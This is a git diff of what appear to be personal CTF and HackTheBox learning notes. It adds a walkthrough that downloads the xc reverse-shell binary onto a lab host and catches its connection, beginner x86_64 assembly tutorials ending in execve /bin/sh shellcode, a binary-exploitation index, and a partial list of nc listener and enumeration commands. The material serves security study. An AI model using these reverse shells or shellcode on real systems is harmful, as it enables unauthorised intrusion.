ASCII text + + + +So now we successfully compiled xc for both linux and windows, let's test the linux version on a remote host: + + + [ 10.10.14.13/23 ] [ /dev/pts/76 ] [HTB/Servmon/xc] + → ls -lash | grep xc + 1.3M -rwxr-xr-x 1 nothing nothing 1.3M May 30 14:03 xc + 3.2M -rwxr-xr-x 1 nothing nothing 3.2M May 30 14:03 xc.exe + 4.0K -rw-r--r-- 1 nothing nothing 2.7K May 30 14:03 xc.go + + [ 10.10.14.13/23 ] [ /dev/pts/76 ] [HTB/Servmon/xc] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + + +Now from the remote host we download the compiled binary file: + + + root@home:/tmp# which wget curl + /usr/bin/wget + /usr/bin/curl + + root@home:/tmp# wget http://10.0.0.10:9090/xc -O /tmp/xc + --2021-06-02 13:52:14-- http://10.0.0.10:9090/xc + Connecting to 10.0.0.10:9090... connected. + HTTP request sent, awaiting response... 200 OK + Length: 1298072 (1.2M) [application/octet-stream] + Saving to: ‘/tmp/xc’ + + /tmp/xc 100%[===============================================================================================>] 1.24M --.-KB/s in 0.1s + + 2021-06-02 13:52:14 (11.4 MB/s) - ‘/tmp/xc’ saved [1298072/1298072] + + + +Now that xc is on both machines, let's start to use it: + + + [ 10.10.14.13/23 ] [ /dev/pts/76 ] [HTB/Servmon/xc] + → ./xc + Usage: + - Client: xc ip port + - Server: xc -l -p port + + [ 10.10.14.13/23 ] [ /dev/pts/76 ] [HTB/Servmon/xc] + → ./xc -l -p 9003 + + + __ _____ + \ \/ / __| + > <****(__ + /_/\_\___| by @xct_de + build: QUnVVFdLYEkibcKx + + 2021/06/02 13:54:35 Listening on :9003 + 2021/06/02 13:54:35 Waiting for connections... + +Now that our local host is listening on port 9003, let's go on the remote host to send the reverse shell connection on our local port: + + + + root@home:/tmp# ./xc + Usage: + - Client: xc ip port + - Server: xc -l -p port + root@home:/tmp# ./xc 10.0.0.10 9003 + 2021/06/02 13:57:30 Connected to 10.0.0.10:9003 + + + +Back to our local host we see that we catched the incoming reverse shell connection: + + + [ 10.10.14.13/23 ] [ /dev/pts/76 ] [HTB/Servmon/xc] + → ./xc -l -p 9003 + + __ _____ + \ \/ / __| + > ****(__ + /_/\_\___| by @xct_de + build: QUnVVFdLYEkibcKx + + 2021/06/02 13:54:35 Listening on :9003 + 2021/06/02 13:54:35 Waiting for connections... + 2021/06/02 13:57:45 Connection from 10.0.0.101:36398 + 2021/06/02 13:57:45 Stream established + + [*] Auto-Plugins: + [xc: /tmp]: !help + Usage: + └ Shared Commands: !exit + !upload src dst + * uploads a file to the target + !download src dst + * downloads a file from the target + !lfwd localport remoteaddr remoteport + * local portforwarding (like ssh -L) + !rfwd remoteport localaddr localport + * remote portforwarding (like ssh -R) + !lsfwd + * lists active forwards + !rmfwd index + * removes forward by index + !plugins + * lists available plugins + !plugin plugin + * execute a plugin + !spawn port + * spawns another client on the specified port + !shell + * runs /bin/sh + !runas username password domain + * restart xc with the specified user + !met port + * connects to a x64/meterpreter/reverse_tcp listener + !restart + * restarts the xc client + └ OS Specific Commands: + !ssh port + * starts sshd with the configured keys on the specified port + +Now from here we can do things like sending a file to scan the system for privilege escalation paths like [linpeas.sh](peas.html) to do that, we simply put the script inside the directory where we started the xc listener, and we use the **!upload** function: + + + [ 10.10.14.13/23 ] [ /dev/pts/77 ] [HTB/Servmon/xc] + → locate linpeas.sh + /home/nothing/HTB/Admirer/linpeas.sh + /home/nothing/HTB/OpenAdmin/linpeas.sh + /home/nothing/HTB/Postman/linpeas.sh + /home/nothing/HTB/Traverxec/linpeas.sh + /home/nothing/Tools/privilege-escalation-awesome-scripts-suite/linPEAS/linpeas.sh + + [ 10.10.14.13/23 ] [ /dev/pts/77 ] [HTB/Servmon/xc] + → cp /home/nothing/Tools/privilege-escalation-awesome-scripts-suite/linPEAS/linpeas.sh . + + [xc: /tmp]: !upload linpeas.sh /tmp/linpeas.sh + [+] Upload complete + + +And then we simply spawn a shell with the **!shell** function: + + + [xc: /tmp]: !shell + + root@home:/tmp# id + id + uid=0(root) gid=0(root) groups=0(root) + + root@home:/tmp# chmod +x /tmp/linpeas.sh + chmod +x /tmp/linpeas.sh + + root@home:/tmp# /tmp/linpeas.sh + + +And that's basically how you scan a box for privesc paths. Linpeas.sh is going to scan for every tangible privilege escalation paths on the machine and use colors to display which information may be important. + +![](xc1.png) + +This can also be done on windows with winPEAS, you can check that out on the easy ServMon HTB box machine i made a writeup for. + diff --git a/Tools/xc/xc.png b/Tools/xc/xc.png new file mode 100644 index 0000000..8be76fc Binary files /dev/null and b/Tools/xc/xc.png differ diff --git a/Tools/xc/xc1.png b/Tools/xc/xc1.png new file mode 100644 index 0000000..4088039 Binary files /dev/null and b/Tools/xc/xc1.png differ diff --git a/asm/0.md b/asm/0.md new file mode 100644 index 0000000..29c37d6 --- /dev/null +++ b/asm/0.md @@ -0,0 +1,33 @@ +# Assembly x86_64 - + +## Assembly Code + +We're going to use vim to write our code + + + [ 192.168.0.18/24 ] [ /dev/pts/88 ] [~/binexp/asm] + → vim 0.asm + + + + + + +## Compiling + +Here we're going to use nasm to compile our assembly code: + + + + + + + + + + + + + +` ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() + diff --git a/asm/1.md b/asm/1.md new file mode 100644 index 0000000..e484054 --- /dev/null +++ b/asm/1.md @@ -0,0 +1,86 @@ +# Assembly x86_64 - Hello World! + +## Assembly Code + +We're going to use vim to write our code + + + [ 192.168.0.18/24 ] [ /dev/pts/88 ] [~/binexp/asm] + → vim 0.asm + + + + + section .data + text db "Hello, World!",10 + + section .text + global _start + + _start: + mov rax, 1 + mov rdi, 1 + mov rsi, text + mov rdx, 14 + syscall + + mov rax, 60 + mov rdi, 0 + syscall + + + +## Compiling + +Here we're going to use nasm to compile our assembly code: + + + [ 192.168.0.18/24 ] [ /dev/pts/89 ] [~/binexp/asm] + → nasm -f elf64 0.asm -o 0.o + + [ 192.168.0.18/24 ] [ /dev/pts/89 ] [~/binexp/asm] + → ls -lash + total 16K + 4.0K drwxr-xr-x 2 nothing nothing 4.0K Mar 2 16:17 . + 4.0K drwxr-xr-x 5 nothing nothing 4.0K Mar 2 16:01 .. + 4.0K -rw-r--r-- 1 nothing nothing 179 Mar 2 16:09 0.asm + 4.0K -rw-r--r-- 1 nothing nothing 848 Mar 2 16:17 0.o + + + +Now we have our 0.asm code and the 0.o object file, now we need to link it using the gnu linker (ld) to make an executable file + + + [ 192.168.0.18/24 ] [ /dev/pts/89 ] [~/binexp/asm] + → ld 0.o -o 0 + + [ 192.168.0.18/24 ] [ /dev/pts/89 ] [~/binexp/asm] + → ls -lash + total 28K + 4.0K drwxr-xr-x 2 nothing nothing 4.0K Mar 2 16:19 . + 4.0K drwxr-xr-x 5 nothing nothing 4.0K Mar 2 16:01 .. + 12K -rwxr-xr-x 1 nothing nothing 8.7K Mar 2 16:19 0 + 4.0K -rw-r--r-- 1 nothing nothing 179 Mar 2 16:09 0.asm + 4.0K -rw-r--r-- 1 nothing nothing 848 Mar 2 16:17 0.o + + [ 192.168.0.18/24 ] [ /dev/pts/89 ] [~/binexp/asm] + → file 0 + 0: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped + + + + +and now we have our executable file called '0', we make it executable with chmod +x and then execute it: + + + [ 192.168.0.18/24 ] [ /dev/pts/89 ] [~/binexp/asm] + → chmod +x 0 + + [ 192.168.0.18/24 ] [ /dev/pts/89 ] [~/binexp/asm] + → ./0 + Hello, World! + + + +And that concludes our first assembly code! in the next part we're going to explain everything about this code [here](2.html). + diff --git a/asm/2.md b/asm/2.md new file mode 100644 index 0000000..c3d660d --- /dev/null +++ b/asm/2.md @@ -0,0 +1,136 @@ +# Assembly x86_64 - Hello World Explained + +## Assembly Code + +in the previous tutorial we made the following code: + + + section .data + text db "Hello, World!",10 + + section .text + global _start + + _start: + mov rax, 1 + mov rdi, 1 + mov rsi, text + mov rdx, 14 + syscall + + mov rax, 60 + mov rdi, 0 + syscall + + + +now let's explain what this code is about piece by piece: + + + section .data + text db "Hello, World!",10 + + +here 'db' stands for 'define bytes', this means we define raw data to insert into our code + +after 'db' this is the bytes of data we are defining, each character in the string of text is a single byte. the '10' is a newline character, which can be represented as '\n' + +the 'text' part is a name assigned to the address in memory that this data is located in. Whenever we use "text" later in the code, this will act as the memory address of the data 'db' that we defined, This is like putting a label on the memory address that contains the bytes define. + +Registers are a part of the processor that temporarily holds memory, in the x86_64 architecture, registers hold 64 bits. + +This means that each register can hold the values on its own, the main registers we will make use of are the following: + + 1. rax + 2. rbx + 3. rcx + 4. rdx + 5. rsi + 6. rdi + 7. rbp + 8. r10 + 9. r9 + 10. r8 + + + +Now we also make use of a systemcall (abbreviated to syscall) which is used when a program requests a service from the kernel. Different Operating Systems mean different Kernels which means different Syscalls, they are not the same depending on the OS. All syscalls have an ID associated with them which is a number. Syscalls also take arguements which are inputs. + +Now if you want to use syscalls, you first need the ID of the syscall and then you must know what arguements to give it, But you also need to know which registers correspond to the ID and to the arguements, so remember this table right here: + +** + + 1. rax = syscall ID + 2. rdi = arg 1 + 3. rsi = arg 2 + 4. rdx = arg 3 + 5. r10 = arg 4 + 6. r8 = arg 5 + 7. r9 = arg 6 + +** + +Now where do we find informations about these syscalls ?We can use the list of them right [here ](https://chromium.googlesource.com/chromiumos/docs/+/HEAD/constants/syscalls.md) this is a very well made list made by Chromium OS Docs. + +![](img/0.png) + +in the code we used we basically used the 'write' syscall whose id is 1. + +Therefore we set the rax register to 1 because that's our syscall id: + +in the first arguement is a variable referenced in the docs as 'fd' which stands for file descriptor, we set that one to 1: + +in the second arguement is our text variable we defined earlier, and the last arguement is a limit for the size of our text output (in characters) being set to 14. so we get the following code: + + + + section .text + global _start + + _start: + mov rax, 1 + mov rdi, 1 + mov rsi, text + mov rdx, 14 + syscall + + +Now the thing is we have yet another syscall after our hello world write syscall: + + + + mov rax, 60 + mov rdi, 0 + syscall + + +And here we have an 'exit' syscall to end our executable. + +![](img/1.png) + +and thus we get resulting final code: + + + section .data + text db "Hello, World!",10 + + section .text + global _start + + _start: + mov rax, 1 + mov rdi, 1 + mov rsi, text + mov rdx, 14 + syscall + + mov rax, 60 + mov rdi, 0 + syscall + + + +Most x86_64 assembly code have 3 sections, the .data section , the .bss section and the .text section. the label we used here _start acts like a function, everytime we will use the word _start in our code, it is going to execute the portion of code that's associated with it. + +In the next subject we're going to dig into jumps, calls and comparaisons, you can click [here](3.html). + diff --git a/asm/3.md b/asm/3.md new file mode 100644 index 0000000..62942ec --- /dev/null +++ b/asm/3.md @@ -0,0 +1,104 @@ +# Assembly x86_64 - Jumps, Calls + +## Assembly Code + +We're going to use vim to write our code + + + [ 192.168.0.18/24 ] [ /dev/pts/88 ] [~/binexp/asm] + → vim 3.asm + + + + + section .data + mytext db "Hello, World!", 10 + + section .text + global _start + + _start: + call _printHello + + mov rax, 60 + mov rdi, 0 + syscall + + _printHello: + mov rax, 1 + mov rdi, 1 + mov rsi, mytext + mov rdx, 14 + syscall + ret + + + +Now let's examine what our code does: + + + section .data + mytext db "Hello, World!", 10 + + section .text + global _start + + + +As we saw in the previous tutorial, these are the 2 initial sections, in the first .data section we define our constants (here there is mytext which contains the "Hello, World!" string of text with a newline character (represented as 10 or "\n")). Then we define the label _start to be globally accessible as a function under the .text section. + + + _start: + call _printHello + + mov rax, 60 + mov rdi, 0 + syscall + + + +Here is our main function called _start, and in it we use a call, this is used to basically use another label (or function) that contains code. And then after that we make use of the syscall whose id is 60 which is the exit syscall and with the arguement 0. Which makes our binary exit with the code 0 after the function _printHello is executed. + + + _printHello: + mov rax, 1 + mov rdi, 1 + mov rsi, mytext + mov rdx, 14 + syscall + ret + + + +In here as we explained in the previous tutorial, we use the syscall id (rax) 1, with the first arguement (rdi) set as 1, the second arguement (rdi) contains our 'mytext' constant ("Hello, World !" with a newline character), and lastly the third arguement (rdx) is the limit of the text we want to print out (here its 14 characters). + +When you use the call instruction, you basically fetch another function (or label) of your choice, in this function you can return to the original position of where the call was made with the 'ret' instruction like we put at the end of the _printHello function. + +## Compiling + +Here we're going to use nasm and ld to compile our assembly code, and then we just execute it and see that our hello world is printed out: + + + [ 192.168.0.18/24 ] [ /dev/pts/89 ] [~/binexp/asm] + → nasm -f elf64 3.asm -o 3.o + + [ 192.168.0.18/24 ] [ /dev/pts/89 ] [~/binexp/asm] + → cat 3.o + @0!'Hello, World! + + <****H.data.text.shstrtab.symtab.strtab.rela.text3.asmmytext_start_printHello% + [ 192.168.0.18/24 ] [ /dev/pts/89 ] [~/binexp/asm] + → ld 3.o -o 3 + + [ 192.168.0.18/24 ] [ /dev/pts/89 ] [~/binexp/asm] + → ls -lash | grep 3 + 12K -rwxr-xr-x 1 nothing nothing 8.7K Mar 2 20:01 3 + 4.0K -rw-r--r-- 1 nothing nothing 219 Mar 2 20:00 3.asm + 4.0K -rw-r--r-- 1 nothing nothing 896 Mar 2 20:00 3.o + + [ 192.168.0.18/24 ] [ /dev/pts/89 ] [~/binexp/asm] + → ./3 + Hello, World! + +In the next tutorial we will see how to get user input, you can click [here](4.html). + diff --git a/asm/4.md b/asm/4.md new file mode 100644 index 0000000..cdbb64b --- /dev/null +++ b/asm/4.md @@ -0,0 +1,122 @@ +# Assembly x86_64 - User Input + +## Assembly Code + +We're going to use vim to write our code + + + [ 192.168.0.18/24 ] [ /dev/pts/88 ] [~/binexp/asm] + → vim 4.asm + + + + + section .data + mytext1 db "What is your name? " + mytext2 db "Hello, " + + section .bss + myname resb 16 ; we reserve 16 bytes and we can access it with the label 'myname' + + section .text + global _start + + _start: + call _printText1 + call _getName + call _printText2 + call _printName + + + mov rax, 60 + mov rdi, 0 + syscall + + + _printText1: ;print 'what your the name ?' + mov rax, 1 ; syscall ID 1 (write text) + mov rdi, 1 ; first arg = 1 + mov rsi, mytext1 ; second arg = our text1 (what is your name?) + mov rdx, 19 ; third arg = the text limit + syscall ;run the syscall + ret ; finish the function + + _getName: ;get user input + mov rax, 0 ; syscall ID 0 (read user input) + mov rdi, 0 ; first arg 0 is stdin, 1 is stdout, 2 is stderr + mov rsi, myname ; second arg (where will we store user input?) + mov rdx, 16 ; third arg the limit of user input characters we want + syscall ;make the syscall + ret ;finish the function + + _printText2: ;print 'Hello' + ;same as printtext1 + mov rax, 1 + mov rdi, 1 + mov rsi, mytext2 + mov rdx, 7 + syscall + ret + + _printName: ;print the name + ;same as pritntext 1 and 2 + mov rax, 1 + mov rdi, 1 + mov rsi, myname ; this is the myname label with it's 16 reserved bytes from earlier + mov rdx, 16 + syscall + ret + + + +Now this code contains what we learned previously, with the exception of the following chunks of code: + + + section .bss + myname resb 16 + + +this is used to declare a variable called 'myname' and we reserve 16 bytes for it. Ideally to store our user input string of text. + + + _getName: + mov rax, 0 ; syscall ID 0 (read user input) + mov rdi, 0 + mov rsi, myname + mov rdx, 16 + syscall + ret + + + +The _getName function first sets the rax register as 0 (syscall ID 0) to read the user input, more info [here](https://chromium.googlesource.com/chromiumos/docs/+/HEAD/constants/syscalls.md) + +the first arguement (rdi) is set to 0 because we want stdin (1 is stdout and 2 is stderr) + +the second arguement (rsi) is the variable we want to store our user input to, + +the third arguement (rdx) is set to 16 because that is the maximum size of reserved bytes for our 'myname' variable. + +and lastly we just run the syscall and end the function. + +## Compiling + +Here we're going to use nasm to compile our assembly code and then use ld to create the binary out of the .o file: + + + [ 192.168.0.18/24 ] [ /dev/pts/89 ] [~/binexp/asm] + → nasm -f elf64 4.asm -o 4.o + + [ 192.168.0.18/24 ] [ /dev/pts/89 ] [~/binexp/asm] + → ld 4.o -o 4 + + [ 192.168.0.18/24 ] [ /dev/pts/89 ] [~/binexp/asm] + → ./4 + What is your name? Pierre + Hello, Pierre + + + + +And that's it ! in the next tutorial we will cover math operations and the stack, you can click [here](5.html). + diff --git a/asm/5.md b/asm/5.md new file mode 100644 index 0000000..6a3df79 --- /dev/null +++ b/asm/5.md @@ -0,0 +1,88 @@ +# Assembly x86_64 - Math operations + +## Assembly Code + +We're going to use vim to write our code + + + [ 192.168.0.18/24 ] [ /dev/pts/88 ] [~/binexp/asm] + → vim 5.asm + + + + + section .data + digit db 0, 10 + + section .text + global _start + + + _start: + mov rbx, 48 ;48 in the ASCII chart is the "0" character + call _printRAX ;print "0" + 1 + call _printRAX ;print "1" + 1 + call _printRAX ;print "2" + 1 + call _printRAX ;print "3" + 1 + call _printRAX ;print "4" + 1 + + mov rax, 60 + mov rdi, 0 + syscall + + + + _printRAX: + add rbx, 1 ; we increment rbx by 1 (48, 49, 50, 51, ...) + mov [digit], rbx ; we move the current value of rbx into the 'digit' memory address + + mov rax, 1 ; we use the syscall ID 1 + mov rdi, 1 ; we set the first arg to 1 + mov rsi, digit ; the second arg is set to be our 'digit' memory address + mov rdx, 2 ; the third arg is the length of 2 bytes (let's not forget the newline char which is the '10' above) + syscall + ret + + + + + +Now let's check what's new in the code: + + + mov [digit], rbx + + + +Here we are moving the rbx register into the memory address that's referenced by the 'digit' label. + + + mov rbx, 48 + add rbx, 1 + mov [digit], rbx + + + +Now first we set the value of rbx to be 48, which is the "0" character in ascii. Then we want to add the value 1 to the value stored in rbx. and then we just move the rbx value into the memory address referenced by the 'digit' label + +Basically our code should print the character 1, 2, 3, 4 and 5 + +## Compiling + +Here we're going to use nasm to compile our assembly code: + + + [ 192.168.0.18/24 ] [ /dev/pts/89 ] [~/binexp/asm] + → nasm -f elf64 5.asm -o 5.o + + [ 192.168.0.18/24 ] [ /dev/pts/89 ] [~/binexp/asm] + → ld 5.o -o 5 + + [ 192.168.0.18/24 ] [ /dev/pts/89 ] [~/binexp/asm] + → ./5 + 12345% + + + +And that's it ! next tutorial we'll look into loops, you can click [here](6.html). + diff --git a/asm/6.md b/asm/6.md new file mode 100644 index 0000000..2470932 --- /dev/null +++ b/asm/6.md @@ -0,0 +1,107 @@ +# Assembly x86_64 - CLI Arguements + +## Assembly Code + +We're going to use vim to write our code + + + [ 192.168.0.18/24 ] [ /dev/pts/88 ] [~/binexp/asm] + → vim 6.asm + + + + + section .data + msg db 'Hello, world', 0xa ; our hello world string of text + len equ $ - msg ; the length of the msg variable + filename db 'test.txt', 0 ; the name of the file : test.txt + lenfilename equ $ - filename ; the length of the filename variable + fd dq 0 ; + + section .text + global _start + + _start: + mov rax, 2 ; syscall id 2 to open the file + mov rdi, filename + mov rsi, 0102o ;O_CREAT, man open + mov rdx, 0666o ; RW no X for root, group and user + syscall + + mov [fd], rax + mov rax, 1 ;syscall id 1 to print text + mov rdi, [fd] ;file descriptor + mov rsi, msg ;message to write + mov rdx, len ;message length + syscall ;call kernel + + mov rax, 3 ;syscall id 3 to close the file + mov rdi, [fd] ; value is 0 + syscall + + mov rax, 60 ;system call number (sys_exit) + syscall ;call kernel + + + + +Now let's inspect what's new in this code: + + + _start: + mov rax, 2 ; syscall id 2 to open the file + mov rdi, filename + mov rsi, 0102o ;O_CREAT, man open + mov rdx, 0666o ; RW no X for root, group and user + syscall + + + +First we make use of the [syscall](https://chromium.googlesource.com/chromiumos/docs/+/HEAD/constants/syscalls.md#x86_64-64_bit) id 2 (rax register) to open a file, the name is specified in the first arguement (rdi) , then for the 2nd arguement (rsi) , we open it with the [O_CREAT flag](https://man7.org/linux/man-pages/man2/open.2.html), to create the file if it doesnt exist. For the 3rd arguement (rdx) we set the permissions to RW RW RW. + + + mov [fd], rax + mov rax, 1 ;syscall id 1 to print text + mov rdi, [fd] ;file descriptor + mov rsi, msg ;message to write + mov rdx, len ;message length + syscall ;call kernel + + + +the file descriptor is returned by the open syscall (id 2) we used previously, so we just put it in the [fd] label to be able to use it later. Then we use the syscall id 1 (rax), first arg (rdi) is the file descriptor because we don't want to output our text to stdout nor stderr (2) we want it in the file. Next arguement (rsi) is the message to write and then rdx is the message length. + + + mov rax, 3 ;syscall id 3 to close the file + mov rdi, [fd] + syscall + + mov rax, 60 ;system call number (sys_exit) + syscall ;call kernel + + + +And then lastly we use the syscall id 3 to close the file, and it's first arguement is the file we previously opened. The last syscall that we use is the exit syscall to end the binary execution. + +## Compiling + +Here we're going to use nasm to compile our assembly code and then use ld to get the binary and execute it: + + + [ 192.168.0.18/24 ] [ /dev/pts/8 ] [~/binexp/asm] + → nasm -f elf64 6.asm -o 6.o + + [ 192.168.0.18/24 ] [ /dev/pts/8 ] [~/binexp/asm] + → ld 6.o -o 6 + + [ 192.168.0.18/24 ] [ /dev/pts/8 ] [~/binexp/asm] + → ./6 + + [ 192.168.0.18/24 ] [ /dev/pts/8 ] [~/binexp/asm] + → cat test.txt + Hello, world + + + +And we see that we have been able to print out the Hello World text string inside of test.txt ! In the next tutorial we will check out a minimal shellcode used to spawn a /bin/sh shell. you can click [here](7.html). + diff --git a/asm/7.md b/asm/7.md new file mode 100644 index 0000000..1be2da8 --- /dev/null +++ b/asm/7.md @@ -0,0 +1,180 @@ +# Assembly x86_64 - Spawning a Shell + +## Assembly Code + +We're going to use vim to write our code + + + [ 192.168.0.18/24 ] [ /dev/pts/88 ] [~/binexp/asm] + → vim 7.asm + + + + + section .text + global _start + + _start: + xor esi, esi + xor edx, edx + + push 0x3b + pop rax + mov rbx, 0x68732f2f6e69622f + push rsi + push rbx + mov rdi, rsp + syscall + + + +Now let's check out what is new in the above code: + + + _start: + xor esi, esi + xor edx, edx + + + + +using xor on the same register has the property of being equivalent to mov esi, 0 but being shorter (only 2 bytes) the processor recognizes the special case and treats it as a mov esi, 0 so the execution time is the same. so we clear out the esi and edx registers, + + + push 0x3b ;push the value of the syscall id onto the stack (0x3b is 59) + pop rax ;take the out the top of the stack to put it into rax + + + +Next we push the value 0x3b (59) onto the stack, and then pop the value out into rax, The equivalent is **mov rax, 59** However this results in a shorter shellcode as we're going to see later on. Now since we have our execve() syscall, we want to give it an arguement, we want it to spawn **/bin/sh** and we want it to be 8 bytes so we get the following: **/bin//sh** : + + + [ 192.168.0.18/24 ] [ /dev/pts/3 ] [~/binexp/asm] + → echo '/bin//sh' | xxd + 00000000: 2f62 696e 2f2f 7368 0a /bin//sh. + + [ 192.168.0.18/24 ] [ /dev/pts/3 ] [~/binexp/asm] + → echo 'hs//nib/' | xxd + 00000000: 6873 2f2f 6e69 622f 0a hs//nib/. + + + +So we get our following mov instruction: + + + mov rbx, 0x68732f2f6e69622f ; put the little endian hex val of '/bin//sh' into rbx + + + +## Compiling + +Here we're going to use nasm to compile our assembly code and then ld to create the binary file: + + + [ 192.168.0.18/24 ] [ /dev/pts/3 ] [~/binexp/asm] + → nasm -f elf64 7.asm + + [ 192.168.0.18/24 ] [ /dev/pts/3 ] [~/binexp/asm] + → ld 7.o -o 7 + + [ 192.168.0.18/24 ] [ /dev/pts/3 ] [~/binexp/asm] + → ./7 + + [ 192.168.100.1/24 ] [ /dev/pts/3 ] [/home/nothing/binexp/asm] + → echo $0 ; exit + bash + exit + + [ 192.168.0.18/24 ] [ /dev/pts/3 ] [~/binexp/asm] + → echo $0 + /bin/zsh + + + +And that's it! But if we wanted to create shellcode for binary exploitation, we would adjust the assembly code as follows: + + + [bits 64] + + xor esi, esi ; xor out esi and edx + xor edx, edx + + push 0x3b ;push the value of the syscall id onto the stack (0x3b is 59) + pop rax ;take the out the top of the stack to put it into rax + + mov rbx, 0x68732f2f6e69622f ; put the little endian hex val of '/bin//sh' into rbx + + push rsi ; push the value of rsi + push rbx ; push the value of rbx + mov rdi, rsp ; move the value of rsp ( ) into rdi (first arguement) + syscall + + + +And then we would compile it not with the elf64 flag, but this time we don't need a binary file, we want what's called shellcode to use in conjunction with python pwntools: + + + [ 192.168.0.18/24 ] [ /dev/pts/8 ] [~/binexp/asm] + → nasm -f bin 7.asm + + [ 192.168.0.18/24 ] [ /dev/pts/8 ] [~/binexp/asm] + → cat 7 + 11j;XH/bin//shVSH% + + + +Now let's view the hexdump of our shellcode inside of python pwntools: + + + [ 192.168.0.18/24 ] [ /dev/pts/7 ] [~/binexp/asm] + → vim hexdump.py + + + + + from pwn import * + + #read the shellcode file we compiled + with open('7', 'rb') as f: + shellcode = f.read() + + print(shellcode) + + + + +Here basically we take our shellcode file (named 7) and we store its contents into the shellcode variable. Then we print it: + + + [ 192.168.0.18/24 ] [ /dev/pts/18 ] [~/binexp/asm] + → python3 hexdump.py + b'1\xf61\xd2j;XH\xbb/bin//shVSH\x89\xe7\x0f\x05' + + + +However this isn't all that accurate for us. Here you can see the non-ascii characters being represented as \x00 \x01 \x02 and such. So to get more information on the shellcode characters we should use the hexdump function that's built-in to pwntools: + + + from pwn import * + + #read the shellcode file we compiled + with open('7', 'rb') as f: + shellcode = f.read() + + print(hexdump(shellcode)) + + + +And we get the following result: + + + [ 192.168.0.18/24 ] [ /dev/pts/18 ] [~/binexp/asm] + → python3 hexdump.py + 00000000 31 f6 31 d2 6a 3b 58 48 bb 2f 62 69 6e 2f 2f 73 │1·1·│j;XH│·/bi│n//s│ + 00000010 68 56 53 48 89 e7 0f 05 │hVSH│····│ + 00000018 + + + +And that's it! we have some payload ready to be used for binary exploitation purposes. + diff --git a/asm/img/0.png b/asm/img/0.png new file mode 100644 index 0000000..4b3b86f Binary files /dev/null and b/asm/img/0.png differ diff --git a/asm/img/1.png b/asm/img/1.png new file mode 100644 index 0000000..d69152d Binary files /dev/null and b/asm/img/1.png differ diff --git a/binexp.md b/binexp.md new file mode 100644 index 0000000..df6cd49 --- /dev/null +++ b/binexp.md @@ -0,0 +1,129 @@ +# Binary Exploitation + +![](0.png) + +##### Below you fill find my binary exploitation learning notes, the easier challenges are at the top, and the further down you go, the more we dig into advanced concepts. + +[ Template Page ](0/0.html) + +![](../assets/img/user.png) nihilist + +##### Preparing the Tools + + 1. [Installing gdb gef](0/gdb.html) + 2. [Installing py pwntools](0/pwntools.html) + 3. [Installing GHIDRA](0/ghidra.html) + + + + * | + * | + * | + + + +![](../assets/img/user.png) nihilist + +##### 1) Beginner Reversing + +The basics of reversing with simple to understand examples + + 1. [✅ Strings](1/strings.html) + 2. [✅ Helithumper RE](1/heli.html) + 3. [✅ CSAW 2019 Beleaf](1/beleaf.html) + + + * | grep strings chmod + * | ghidra, pointers, scanf, puts, arrays, hexa to ascii + * | ghidra, pointers, arrays, functions + + + +![](../assets/img/user.png) nihilist + +##### 2) Stack Buffer Overflows + +These are the most common binary exploits, they are there because of insecure functions that do not set a limit to user input, allowing the user to overwrite other memory registers. + + 1. [✅ CSAW 2018 Quals boi](2/boi.html) + 2. [✅ TAMU 2019 pwn1](2/pwn1.html) + 3. [✅ TW 2017 Just Do It!](2/just.html) + 4. [✅ CSAW 2016 Warmup](2/warm.html) + 5. [✅ CSAW 2018 Get it](2/get.html) + 6. [✅ TUCTF 2017 Vulnchat](2/vuln.html) + + + + * | gbof variable, db-gef,elf, little endian, ghidra, offsets + * | bof variable + * | bof variable + * | bof callfunction + * | bof callfunction + * | bof callfunction + + + +![](../assets/img/user.png) nihilist + +##### Assembly x86_64 + +As i hit the shellcode buffer overflow binary challenges, i realized that i needed assembly skills, so this is a simple introduction to modern intel Assembly for the x86_64 (64bits) architecture. We make use of the [syscalls](https://chromium.googlesource.com/chromiumos/docs/+/HEAD/constants/syscalls.md#x86_64-64_bit) used to communicate with the Linux Kernel: + + 1. [✅ Hello World](asm/1.html) + 2. [✅ Hello World Explained ](asm/2.html) + 3. [✅ Jumps, Calls](asm/3.html) + 4. [✅ User Input](asm/4.html) + 5. [✅ Math Operations](asm/5.html) + 6. [✅ Reading / Writing Files](asm/6.html) + 7. [✅ Spawning a shell](asm/7.html) + + + +![](../assets/img/user.png) nihilist + +##### 2) Stack Buffer Overflows (Part 2) + + 1. [✅ CSAW 2017 Pilot](2/pilot.html) + 2. [✅ Tamu 2019 pwn3](2/pwn3.html) + 3. [✅ Tuctf 2018 shella-easy](2/shella.html) + 4. [✅ BKP 2016 calc](2/calc.html) + 5. [✅ DCQuals 2019 speed](2/speed.html) + 6. [✅ DCQuals 2016 feed](2/feed.html) + 7. [✅ CSAW 2019 babyboi](2/bboi.html) + 8. [✅ CSAW 2017 SVC](2/svc.html) + 9. [✅ FB 2019 Overfloat](2/overf.html) + 10. [✅ hs 2019 storytime](2/hs.html) + 11. [✅ UTC 2019 shellme](2/shme.html) + + + + * | bof shellcode + * | bof shellcode + * | bof shellcode + * | bof ROP Chain, ROP Gadgets + * | bof ROP Chain, ROP Gadgets + * | bof ROP Chain, ROP Gadgets + * | bof dynamic + * | bof dynamic + * | bof dynamic + * | bof dynamic + * | bof dynamic + + + +![](../assets/img/user.png) nihilist + +##### 3) Bad Seed + + 1. [✅ h3 time ](3/h3.html) + 2. [✅ hsctf 2019 tux talk ](3/tux.html) + 3. [✅ Sunshine 17 Prepared ](3/prep.html) + + + + * | time seed + * | time seed + * | time seed + + + diff --git a/commands.md b/commands.md new file mode 100644 index 0000000..7f3490a --- /dev/null +++ b/commands.md @@ -0,0 +1,282 @@ +# ip=10.10.14.48 port=9005 course=2 + Easy/26.html: λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Teacher] → nc -lvnp 9005 + Easy/26.html: → hash-identifier + Easy/11.html: λ nihilist [ 10.10.14.48/23 ] [~] → nmap -sC -sV 10.10.10.40 + Easy/28.html: → nmap -F 10.10.10.123 + Easy/28.html: → nmap -sC -sV 10.10.10.123 -p 21,22,53,80,139,443,445 + Easy/28.html: λ root [ 10.10.14.48/23 ] [/home/nihilist/_HTB] → smbmap -H 10.10.10.123 -p 445,139 + Easy/28.html:→ enum4linux 10.10.10.123 + Easy/28.html:→ smbclient \\\\10.10.10.123\\general + Easy/28.html:→ mv creds.txt Friendzone/creds.txt + Easy/28.html:→ mkdir Friendzone + Easy/28.html:→ mv creds.txt 